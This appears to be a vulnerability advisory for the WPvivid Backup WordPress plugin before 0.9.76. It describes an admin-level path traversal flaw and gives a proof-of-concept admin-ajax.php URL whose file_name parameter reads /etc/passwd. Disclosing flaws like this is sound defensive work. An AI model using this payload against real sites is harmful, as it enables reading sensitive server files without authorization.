WordPress Plugin Vulnerabilities
WPvivid Backup < 0.9.76 - Admin+ Arbitrary File Read
Description
The plugin does not sanitise and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server via a Traversal attack
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?_wpnonce=34decc6d15&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922
Affects Plugins
Fixed in 0.9.76 References
CVE
Classification
Type
TRAVERSAL
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Rodolfo Tavares
Submitter
Rodolfo Tavares
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-08-22 (about 1 years ago)
Added
2022-08-22 (about 1 years ago)
Last Updated
2023-05-11 (about 1 years ago)
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